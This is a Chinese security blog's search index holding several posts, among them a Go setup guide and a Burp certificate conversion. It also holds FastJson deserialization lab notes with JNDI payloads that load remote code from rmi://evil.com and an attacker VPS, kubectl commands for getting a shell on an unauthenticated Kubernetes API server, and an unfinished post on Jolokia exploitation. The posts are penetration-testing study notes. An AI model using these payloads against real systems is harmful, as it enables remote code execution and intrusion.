-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathsearch.xml
More file actions
3391 lines (3048 loc) · 584 KB
/
search.xml
File metadata and controls
3391 lines (3048 loc) · 584 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<?xml version="1.0" encoding="utf-8"?>
<search>
<entry>
<title>Go 入门踩坑</title>
<url>/2021/05/28/Go-%E5%85%A5%E9%97%A8%E8%B8%A9%E5%9D%91/</url>
<content><![CDATA[<h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>最近心血来潮,觉得Go可能在后续的职业生涯中发挥作用,就来学一下Go吧。</p>
<h3 id="环境配置"><a href="#环境配置" class="headerlink" title="环境配置"></a>环境配置</h3><h4 id="下载安装Go"><a href="#下载安装Go" class="headerlink" title="下载安装Go"></a>下载安装Go</h4><p>这里不多说了,直接到官网下载msi包,然后双击运行安装即可,我这里下载的是<code>go1.16.4.windows-amd64.msi</code>。</p>
<a id="more"></a>
<h4 id="VS-Code-配置Go开发环境"><a href="#VS-Code-配置Go开发环境" class="headerlink" title="VS Code 配置Go开发环境"></a>VS Code 配置Go开发环境</h4><p>首先安装Go的语言拓展<br><img data-src="/2021/05/28/Go-%E5%85%A5%E9%97%A8%E8%B8%A9%E5%9D%91/2021-05-28-10-40-38.png"></p>
<p>然后安装Go语言开发工具包<br><img data-src="/2021/05/28/Go-%E5%85%A5%E9%97%A8%E8%B8%A9%E5%9D%91/2021-05-28-10-41-50.png"><br>勾选全部工具<br><img data-src="/2021/05/28/Go-%E5%85%A5%E9%97%A8%E8%B8%A9%E5%9D%91/2021-05-28-10-42-56.png"></p>
<p> VS Code此时会下载并安装上图列出来的16个工具,但是由于国内的网络环境基本上都会出现安装失败<br> <img data-src="/2021/05/28/Go-%E5%85%A5%E9%97%A8%E8%B8%A9%E5%9D%91/2021-05-28-10-44-39.png"></p>
<p> 这个时候当然是配置代理啦,按照网上的教程,大多都会看到说在命令行设置代理</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">go env -w GOPROXY=https://goproxy.cn,direct</span><br></pre></td></tr></table></figure>
<p> 这里反复尝试之后发现不行,看输出可以发现,VS Code还是请求了官方的地址,所以可知我们配置的代理不生效,然后翻看一下VS Code的设置,可以看到有个<code>Tools Env Vars</code>的配置,猜想它是配置这个Go工具包的环境变量的<br> <img data-src="/2021/05/28/Go-%E5%85%A5%E9%97%A8%E8%B8%A9%E5%9D%91/2021-05-28-10-55-55.png"></p>
<p> 然后把网上教程中让我们设置的两个环境变量改成json格式写进去就行了,记得VS Code的配置文件是json格式的,所以如果原本上面有配置的,需要在前面加个逗号<code>,</code><br> <figure class="highlight"><table><tr><td class="code"><pre><span class="line">"go.toolsEnvVars": {"GO111MODULE": "on", "GOPROXY": "https://goproxy.cn,direct"}</span><br></pre></td></tr></table></figure><br> <img data-src="/2021/05/28/Go-%E5%85%A5%E9%97%A8%E8%B8%A9%E5%9D%91/2021-05-28-10-58-47.png"></p>
<p> 配置完成后再次按照前面的步骤安装工具包即可。</p>
<h3 id="go-导入本地包"><a href="#go-导入本地包" class="headerlink" title="go 导入本地包"></a>go 导入本地包</h3><p>go mod 导入本地包,先下载源码,如下载github.com/pretty66/websocketproxy到本地myproject/libs/websocketproxy。</p>
<p>然后修改myproject/go.mod,增加一行:</p>
<figure class="highlight go"><table><tr><td class="code"><pre><span class="line">replace github.com/pretty66/websocketproxy => ./libs/websocketproxy</span><br></pre></td></tr></table></figure>
<p><img data-src="/2021/05/28/Go-%E5%85%A5%E9%97%A8%E8%B8%A9%E5%9D%91/image-20230308162946444.png"></p>
<p>然后自己的代码照常import就行</p>
<p><img data-src="/2021/05/28/Go-%E5%85%A5%E9%97%A8%E8%B8%A9%E5%9D%91/image-20230308163011841.png"></p>
]]></content>
<categories>
<category>Go</category>
</categories>
<tags>
<tag>Go</tag>
</tags>
</entry>
<entry>
<title>DER证书转换PEM证书小记</title>
<url>/2021/11/13/DER%E8%AF%81%E4%B9%A6%E8%BD%AC%E6%8D%A2PEM%E8%AF%81%E4%B9%A6%E5%B0%8F%E8%AE%B0/</url>
<content><![CDATA[<p><strong>本文仅作为技术讨论及分享,严禁用于任何非法用途。</strong></p>
<h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>或许是因为强迫症使然,产生了让xray使用burp的想法,至于为什么要这么做,也说不上原因,就感觉这样搞了舒服点。因为xray不支持burp默认的DER格式证书,所以直接使用会碰到未找到PEM 数据的问题,所以需要做一下转换,将DER转成PEM。<br><img data-src="/2021/11/13/DER%E8%AF%81%E4%B9%A6%E8%BD%AC%E6%8D%A2PEM%E8%AF%81%E4%B9%A6%E5%B0%8F%E8%AE%B0/2021-11-13-18-56-44.png"></p>
<a id="more"></a>
<h3 id="过程"><a href="#过程" class="headerlink" title="过程"></a>过程</h3><p>首先分别导出burpsuite的公钥与私钥,记住是分别导出<br><img data-src="/2021/11/13/DER%E8%AF%81%E4%B9%A6%E8%BD%AC%E6%8D%A2PEM%E8%AF%81%E4%B9%A6%E5%B0%8F%E8%AE%B0/2021-11-13-19-02-03.png"><br>为防止有英文学习不好的,还是截下图<br><img data-src="/2021/11/13/DER%E8%AF%81%E4%B9%A6%E8%BD%AC%E6%8D%A2PEM%E8%AF%81%E4%B9%A6%E5%B0%8F%E8%AE%B0/2021-11-13-19-02-58.png"><br>导出的公钥文件名为<code>burp.ca.crt</code>,私钥文件名为<code>burp.ca.key</code><br>然后转换公钥文件格式</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">openssl x509 -<span class="keyword">in</span> burp.ca.crt -inform der -outform pem -out burp_cert.pem</span><br></pre></td></tr></table></figure>
<p>转换私钥文件格式</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">openssl rsa -inform DER -outform PEM -<span class="keyword">in</span> burp.ca.key -out burp_key.pem</span><br></pre></td></tr></table></figure>
<p>然后修改xray的<code>config.yaml</code>配置文件<br><img data-src="/2021/11/13/DER%E8%AF%81%E4%B9%A6%E8%BD%AC%E6%8D%A2PEM%E8%AF%81%E4%B9%A6%E5%B0%8F%E8%AE%B0/2021-11-13-19-05-41.png"><br>这个时候浏览器挂上xray代理用的就是burp的证书了<br><img data-src="/2021/11/13/DER%E8%AF%81%E4%B9%A6%E8%BD%AC%E6%8D%A2PEM%E8%AF%81%E4%B9%A6%E5%B0%8F%E8%AE%B0/2021-11-13-18-55-20.png"></p>
<h3 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h3><p><a href="https://support.huaweicloud.com/scm_faq/scm_01_0128.html">https://support.huaweicloud.com/scm_faq/scm_01_0128.html</a></p>
]]></content>
<categories>
<category>渗透测试</category>
</categories>
<tags>
<tag>渗透测试</tag>
</tags>
</entry>
<entry>
<title>FastJson RCE实验笔记</title>
<url>/2021/08/29/FastJson-RCE%E5%AE%9E%E9%AA%8C%E7%AC%94%E8%AE%B0/</url>
<content><![CDATA[<p><strong>本文仅作为技术讨论及分享,严禁用于任何非法用途。</strong></p>
<h3 id="FastJson-1-2-24"><a href="#FastJson-1-2-24" class="headerlink" title="FastJson 1.2.24"></a>FastJson 1.2.24</h3><h4 id="实验说明"><a href="#实验说明" class="headerlink" title="实验说明"></a>实验说明</h4><p>本次实验使用了<code>Vulhub</code>的<code>fastjson 1.2.24 反序列化导致任意命令执行漏洞</code>,漏洞利用使用了<code>JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar</code>,漏洞地址为<code>http://192.168.154.130:8090</code>。</p>
<h4 id="启动漏洞环境"><a href="#启动漏洞环境" class="headerlink" title="启动漏洞环境"></a>启动漏洞环境</h4><p>因为用了docker的漏洞环境,所以请先安装<code>docker</code>及<code>docker-compose</code>,此处不再赘述。在靶机运行命令:</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">git <span class="built_in">clone</span> https://github.com/vulhub/vulhub.git</span><br><span class="line"><span class="built_in">cd</span> vulhub/fastjson/1.2.24-rce/</span><br><span class="line">docker-compose up -d</span><br></pre></td></tr></table></figure>
<p><img data-src="/2021/08/29/FastJson-RCE%E5%AE%9E%E9%AA%8C%E7%AC%94%E8%AE%B0/2021-08-29-10-51-27.png"><br>启动后可访问FastJson的服务:<br><img data-src="/2021/08/29/FastJson-RCE%E5%AE%9E%E9%AA%8C%E7%AC%94%E8%AE%B0/2021-08-29-10-52-07.png"></p>
<a id="more"></a>
<h4 id="漏洞扫描"><a href="#漏洞扫描" class="headerlink" title="漏洞扫描"></a>漏洞扫描</h4><p>这里使用了burpsuite的BurpFastJsonScan插件:<a href="https://github.com/pmiaowu/BurpFastJsonScan%E3%80%82">https://github.com/pmiaowu/BurpFastJsonScan。</a><br>经过扫描可以看到存在漏洞:<br><img data-src="/2021/08/29/FastJson-RCE%E5%AE%9E%E9%AA%8C%E7%AC%94%E8%AE%B0/2021-08-29-10-56-47.png"></p>
<h4 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用"></a>漏洞利用</h4><p>首先要启动一个<code>RMI</code>或者<code>LDAP</code>服务,我这里使用的是<code>JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar</code>,相对<code>marshalsec</code>来说它的操作步骤要少一些。</p>
<p><strong><code>JNDI-Injection-Exploit</code>的官方说明如下:</strong></p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]</span><br><span class="line"></span><br><span class="line">-C - 远程class文件中要执行的命令。</span><br><span class="line"></span><br><span class="line">(可选项 , 默认命令是mac下打开计算器,即"open /Applications/Calculator.app")</span><br><span class="line"></span><br><span class="line">-A - 服务器地址,可以是IP地址或者域名。</span><br><span class="line"></span><br><span class="line">(可选项 , 默认地址是第一个网卡地址)</span><br></pre></td></tr></table></figure>
<p>为了方便和安全起见,我使用了<code>docker</code>来启动它。先把<code>JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar</code>下载到<code>/root/tools/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar</code>,在vps上启动命令:</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker run -itd --rm -p 8180:8180 -p 1099:1099 -p 1389:1389 -v /root/tools/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar:/root/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar java java -jar /root/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C <span class="string">"ping jndi.265orc.dnslog.cn"</span> -A 1xx.xx.xx.xx6</span><br></pre></td></tr></table></figure>
<p>然后通过<code>docker logs</code>命令查询容器输出日志,这里的<code>13</code>是容器的id,在上条命令执行完毕后会输出:</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker logs 13</span><br></pre></td></tr></table></figure>
<p><img data-src="/2021/08/29/FastJson-RCE%E5%AE%9E%E9%AA%8C%E7%AC%94%E8%AE%B0/2021-08-29-11-09-57.png"></p>
<p>在burp抓包后放入poc</p>
<figure class="highlight php"><table><tr><td class="code"><pre><span class="line">{</span><br><span class="line"> <span class="string">"b"</span>:{</span><br><span class="line"> <span class="string">"@type"</span>:<span class="string">"com.sun.rowset.JdbcRowSetImpl"</span>,</span><br><span class="line"> <span class="string">"dataSourceName"</span>:<span class="string">"rmi://1xx.xx.xx.xx6:1099/07l8x5"</span>,</span><br><span class="line"> <span class="string">"autoCommit"</span>:<span class="literal">true</span></span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p><img data-src="/2021/08/29/FastJson-RCE%E5%AE%9E%E9%AA%8C%E7%AC%94%E8%AE%B0/2021-08-29-11-13-15.png"></p>
<p>dnslog中可以看到命令执行成功<br><img data-src="/2021/08/29/FastJson-RCE%E5%AE%9E%E9%AA%8C%E7%AC%94%E8%AE%B0/2021-08-29-11-14-47.png"></p>
<p>ldap协议的利用方式也是相同:<br><img data-src="/2021/08/29/FastJson-RCE%E5%AE%9E%E9%AA%8C%E7%AC%94%E8%AE%B0/2021-08-29-11-21-45.png"></p>
<h3 id="FastJson-1-2-47"><a href="#FastJson-1-2-47" class="headerlink" title="FastJson 1.2.47"></a>FastJson 1.2.47</h3><h4 id="启动漏洞环境-1"><a href="#启动漏洞环境-1" class="headerlink" title="启动漏洞环境"></a>启动漏洞环境</h4><p><code>FastJson 1.2.47</code>的漏洞环境<code>Vulhub</code>也有,所以步骤相似:</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">cd</span> ../1.2.247-rce/</span><br><span class="line">docker-compose up -d</span><br></pre></td></tr></table></figure>
<p><img data-src="/2021/08/29/FastJson-RCE%E5%AE%9E%E9%AA%8C%E7%AC%94%E8%AE%B0/2021-08-29-11-39-21.png"></p>
<h4 id="漏洞扫描-1"><a href="#漏洞扫描-1" class="headerlink" title="漏洞扫描"></a>漏洞扫描</h4><p>同样是使用BurpFastJsonScan插件扫描,这次插件却在一开始并没有扫出来,需要手动POST一个json包后才开始了扫描,可能跟插件工作逻辑有关。<br><img data-src="/2021/08/29/FastJson-RCE%E5%AE%9E%E9%AA%8C%E7%AC%94%E8%AE%B0/2021-08-29-11-50-43.png"></p>
<p><img data-src="/2021/08/29/FastJson-RCE%E5%AE%9E%E9%AA%8C%E7%AC%94%E8%AE%B0/2021-08-29-11-52-16.png"></p>
<h4 id="漏洞利用-1"><a href="#漏洞利用-1" class="headerlink" title="漏洞利用"></a>漏洞利用</h4><p>漏洞利用还是使用上一节用到的<code>JNDI-Injection-Exploit</code>,exp如下:</p>
<figure class="highlight php"><table><tr><td class="code"><pre><span class="line">{</span><br><span class="line"> <span class="string">"a"</span>:{</span><br><span class="line"> <span class="string">"@type"</span>:<span class="string">"java.lang.Class"</span>,</span><br><span class="line"> <span class="string">"val"</span>:<span class="string">"com.sun.rowset.JdbcRowSetImpl"</span></span><br><span class="line"> },</span><br><span class="line"> <span class="string">"b"</span>:{</span><br><span class="line"> <span class="string">"@type"</span>:<span class="string">"com.sun.rowset.JdbcRowSetImpl"</span>,</span><br><span class="line"> <span class="string">"dataSourceName"</span>:<span class="string">"rmi://evil.com:9999/Exploit"</span>,</span><br><span class="line"> <span class="string">"autoCommit"</span>:<span class="literal">true</span></span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p><img data-src="/2021/08/29/FastJson-RCE%E5%AE%9E%E9%AA%8C%E7%AC%94%E8%AE%B0/2021-08-29-12-01-02.png"><br>因为在上一节的测试中发现<code>dnslog.cn</code>生成的随机域名有效期比较短,容易导致明明命令执行了却看不到dnslog的问题,所以改用了<code>ceye.io</code>测试,可以看到靶机curl请求了<code>ceye.io</code>的http服务:<br><img data-src="/2021/08/29/FastJson-RCE%E5%AE%9E%E9%AA%8C%E7%AC%94%E8%AE%B0/2021-08-29-12-01-35.png"></p>
<h3 id="fastjson-lt-1-2-47"><a href="#fastjson-lt-1-2-47" class="headerlink" title="fastjson<=1.2.47"></a>fastjson<=1.2.47</h3><p>对版本小于1.2.48的版本通杀,autoType为关闭状态也可用。方法同上,直接打了:</p>
<figure class="highlight php"><table><tr><td class="code"><pre><span class="line">{</span><br><span class="line"> <span class="string">"a"</span>: {</span><br><span class="line"> <span class="string">"@type"</span>: <span class="string">"java.lang.Class"</span>, </span><br><span class="line"> <span class="string">"val"</span>: <span class="string">"com.sun.rowset.JdbcRowSetImpl"</span></span><br><span class="line"> }, </span><br><span class="line"> <span class="string">"b"</span>: {</span><br><span class="line"> <span class="string">"@type"</span>: <span class="string">"com.sun.rowset.JdbcRowSetImpl"</span>, </span><br><span class="line"> <span class="string">"dataSourceName"</span>: <span class="string">"rmi://evil.com:9999/Exploit"</span>, </span><br><span class="line"> <span class="string">"autoCommit"</span>: <span class="literal">true</span></span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p><img data-src="/2021/08/29/FastJson-RCE%E5%AE%9E%E9%AA%8C%E7%AC%94%E8%AE%B0/2021-08-29-13-53-08.png"><br><img data-src="/2021/08/29/FastJson-RCE%E5%AE%9E%E9%AA%8C%E7%AC%94%E8%AE%B0/2021-08-29-13-53-33.png"></p>
<h3 id="其它"><a href="#其它" class="headerlink" title="其它"></a>其它</h3><p>其它几个fastjson版本的exp需要autoTypeSupport属性为true才能使用,而fastjson>=1.2.25默认为false,相对碰到的情况应该比较少,不一一尝试。</p>
<h3 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h3><p><a href="https://www.freebuf.com/articles/web/283585.html">https://www.freebuf.com/articles/web/283585.html</a></p>
]]></content>
<categories>
<category>渗透测试</category>
</categories>
<tags>
<tag>渗透测试</tag>
<tag>WEB</tag>
</tags>
</entry>
<entry>
<title>Kubernetes Api Server 未授权访问漏洞GetShell</title>
<url>/2019/08/05/Kubernetes-Api-Server-%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E6%BC%8F%E6%B4%9EGetShell/</url>
<content><![CDATA[<p><strong>本文仅作为技术讨论及分享,严禁用于任何非法用途。</strong></p>
<h3 id="下载kubectl客户端"><a href="#下载kubectl客户端" class="headerlink" title="下载kubectl客户端"></a>下载kubectl客户端</h3><p>参考<a href="https://kubernetes.io/docs/tasks/tools/install-kubectl/#install-kubectl-on-windows">官方文档</a><br>因为官方从Google下载,国内下载可能比较困难,这里提供一个Windows版本的kubectl客户端(<a href="https://github.com/ryanInf/ryaninf.github.io/releases/download/kubectl.exe/kubectl.exe">下载地址</a>)</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">MD5:eb9039d1285045b48313766aebf3558e *kubectl.exe</span><br></pre></td></tr></table></figure>
<h3 id="获取容器shell"><a href="#获取容器shell" class="headerlink" title="获取容器shell"></a>获取容器shell</h3><figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">kubtctl.exe -s ip:port get pods</span><br><span class="line">kubectl.exe -s ip:port --namespace=default exec -it <CONTAINER ID> bash</span><br></pre></td></tr></table></figure>
<p><img data-src="/2019/08/05/Kubernetes-Api-Server-%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E6%BC%8F%E6%B4%9EGetShell/2020-08-20-16-56-00.png"></p>
<h3 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h3><p><a href="https://moyu.life/post/kubernetes-api-server-wei-shou-quan-fang-wen-lou-dong/">Kubernetes Api Server 未授权访问漏洞</a></p>
]]></content>
<categories>
<category>漏洞</category>
</categories>
<tags>
<tag>漏洞</tag>
</tags>
</entry>
<entry>
<title>Linux命令备忘</title>
<url>/2020/01/03/Linux%E5%91%BD%E4%BB%A4%E5%A4%87%E5%BF%98/</url>
<content><![CDATA[<h3 id="Linux命令备忘"><a href="#Linux命令备忘" class="headerlink" title="Linux命令备忘"></a>Linux命令备忘</h3><ol start="0">
<li>xargs占位符<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">echo</span> aaa |xargs -I {} python3 test.py {} {}.xlsx</span><br></pre></td></tr></table></figure></li>
<li>查看进程启动时间<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ps -eo pid,lstart,etime,cmd | grep nginx</span><br></pre></td></tr></table></figure></li>
<li>找出大于500m的文件<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">find / -<span class="built_in">type</span> f -size +500M -print0 |xargs -0 ls -l</span><br></pre></td></tr></table></figure></li>
<li>Debian显示已安装的软件包<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">apt list --installed</span><br></pre></td></tr></table></figure>
<a id="more"></a></li>
<li>批量杀进程<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ps aux |grep hydra |awk <span class="string">'{printf "%s\n", $2}'</span> |xargs <span class="built_in">kill</span> -9</span><br></pre></td></tr></table></figure></li>
<li>apt-get配置代理<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">export</span> http_proxy=http://192.168.137.1:1080</span><br></pre></td></tr></table></figure></li>
<li>wget设置代理<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">wget https://www.python.org/ftp/python/3.5.2/Python-3.5.2rc1.tgz -e <span class="string">'https_proxy=http://192.168.137.1:1080'</span></span><br></pre></td></tr></table></figure></li>
<li>Debian设置SSH自启动<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">update-rc.d ssh <span class="built_in">enable</span></span><br></pre></td></tr></table></figure></li>
<li>Kali设置阿里云源<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">修改/etc/apt/sources.list文件为以下内容:</span><br><span class="line">deb https://mirrors.aliyun.com/kali/ kali-rolling main non-free contrib</span><br><span class="line">deb-src https://mirrors.aliyun.com/kali/ kali-rolling main non-free contrib</span><br></pre></td></tr></table></figure></li>
<li>查找重复行并统计出现次数,例:统计各IP出现次数 <figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">cat ip.txt |grep -E -o <span class="string">"(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][ 0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"</span> |sort |uniq -c > ipncount.txt</span><br></pre></td></tr></table></figure>
</li>
</ol>
<h3 id="本文持续更新"><a href="#本文持续更新" class="headerlink" title="本文持续更新"></a>本文持续更新</h3>]]></content>
<categories>
<category>Linux</category>
</categories>
<tags>
<tag>Linux</tag>
</tags>
</entry>
<entry>
<title>Jolokia利用记录</title>
<url>/2023/04/25/Jolokia%E5%88%A9%E7%94%A8%E8%AE%B0%E5%BD%95/</url>
<content><![CDATA[<p><strong>本文仅作为技术讨论及分享,严禁用于任何非法用途。</strong></p>
<h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>最近发现了一个<code>Springboot Actuator Jolokia 未授权访问漏洞</code>,了解了一下感觉挺好玩的,记录一下学习过程。<br>Actuator是Spring Boot提供的服务监控和管理中间件,默认配置会出现接口未授权访问,部分接口会泄露网站流量信息和内存信息等,使用Jolokia库特性甚至可以远程执行任意代码,获取服务器权限。</p>
<a id="more"></a>
<h3 id="正文"><a href="#正文" class="headerlink" title="正文"></a>正文</h3><h4 id="漏洞位置"><a href="#漏洞位置" class="headerlink" title="漏洞位置"></a>漏洞位置</h4><p>Jolokia是一款开源产品,用于为JMX(Java Management Extensions)技术提供HTTP API接口。其中,该产品提供了一个API,用于调用在服务器上注册的MBean并读/写其属性。JMX技术用于管理和监视设备、应用程序和网络驱动的服务。</p>
<p>通常我们发现它的时候可能是类似下面的路径:</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">/actuator/jolokia/list</span><br></pre></td></tr></table></figure>
<p>响应结果是json格式:<br><img data-src="/2023/04/25/Jolokia%E5%88%A9%E7%94%A8%E8%AE%B0%E5%BD%95/2023-04-27-11-05-33.png"></p>
<p>整个json文本的内容非常多,通过vscode美化一下:<br><img data-src="/2023/04/25/Jolokia%E5%88%A9%E7%94%A8%E8%AE%B0%E5%BD%95/2023-04-27-11-14-36.png"></p>
<h4 id="请求格式"><a href="#请求格式" class="headerlink" title="请求格式"></a>请求格式</h4><p>jolokia的调用支持GET请求和POST请求格式。</p>
<p><em>GET请求:</em></p>
<figure class="highlight html"><table><tr><td class="code"><pre><span class="line"><span class="tag"><<span class="name">base-url</span>></span>/<span class="tag"><<span class="name">type</span>></span>/<span class="tag"><<span class="name">arg1</span>></span>/<span class="tag"><<span class="name">arg2</span>></span>/..../</span><br></pre></td></tr></table></figure>
<p>如:</p>
<figure class="highlight html"><table><tr><td class="code"><pre><span class="line">http://localhost:8080/jolokia/read/java.lang:type=Memory/HeapMemoryUsage</span><br></pre></td></tr></table></figure>
<p><img data-src="/2023/04/25/Jolokia%E5%88%A9%E7%94%A8%E8%AE%B0%E5%BD%95/2023-04-27-11-30-12.png"></p>
<p><em>POST请求(json):</em></p>
<figure class="highlight html"><table><tr><td class="code"><pre><span class="line">{</span><br><span class="line"> "type" : "read",</span><br><span class="line"> "mbean" : "java.lang:type=Memory",</span><br><span class="line"> "attribute" : "HeapMemoryUsage",</span><br><span class="line"> "path" : "used",</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p><img data-src="/2023/04/25/Jolokia%E5%88%A9%E7%94%A8%E8%AE%B0%E5%BD%95/2023-05-03-21-37-24.png"></p>
<h4 id="调用方法"><a href="#调用方法" class="headerlink" title="调用方法"></a>调用方法</h4><p>那么如何调用MBean进行利用呢?相信看完下面的例子你就会懂了。</p>
<p>首先要理解我们可以做什么操作,Jolokia 可执行的操作(operations)有:<code>read</code>、<code>write</code>、<code>exec</code>、<code>search</code>、<code>list</code>。</p>
<p>比如我要读取<code>java.util.logging</code>下<code>type=Logging</code>的<code>attr</code>里面的<code>LoggerNames</code></p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">/actuator/jolokia/<span class="built_in">read</span>/java.util.logging:<span class="built_in">type</span>=Logging/LoggerNames</span><br></pre></td></tr></table></figure>
<p><img data-src="/2023/04/25/Jolokia%E5%88%A9%E7%94%A8%E8%AE%B0%E5%BD%95/2023-05-03-21-40-36.png"></p>
<p><img data-src="/2023/04/25/Jolokia%E5%88%A9%E7%94%A8%E8%AE%B0%E5%BD%95/2023-04-27-11-42-35.png"></p>
<p><img data-src="/2023/04/25/Jolokia%E5%88%A9%E7%94%A8%E8%AE%B0%E5%BD%95/2023-04-27-11-33-45.png"></p>
<p>调用某个MBean:<br><img data-src="/2023/04/25/Jolokia%E5%88%A9%E7%94%A8%E8%AE%B0%E5%BD%95/2023-04-25-13-37-18.png"></p>
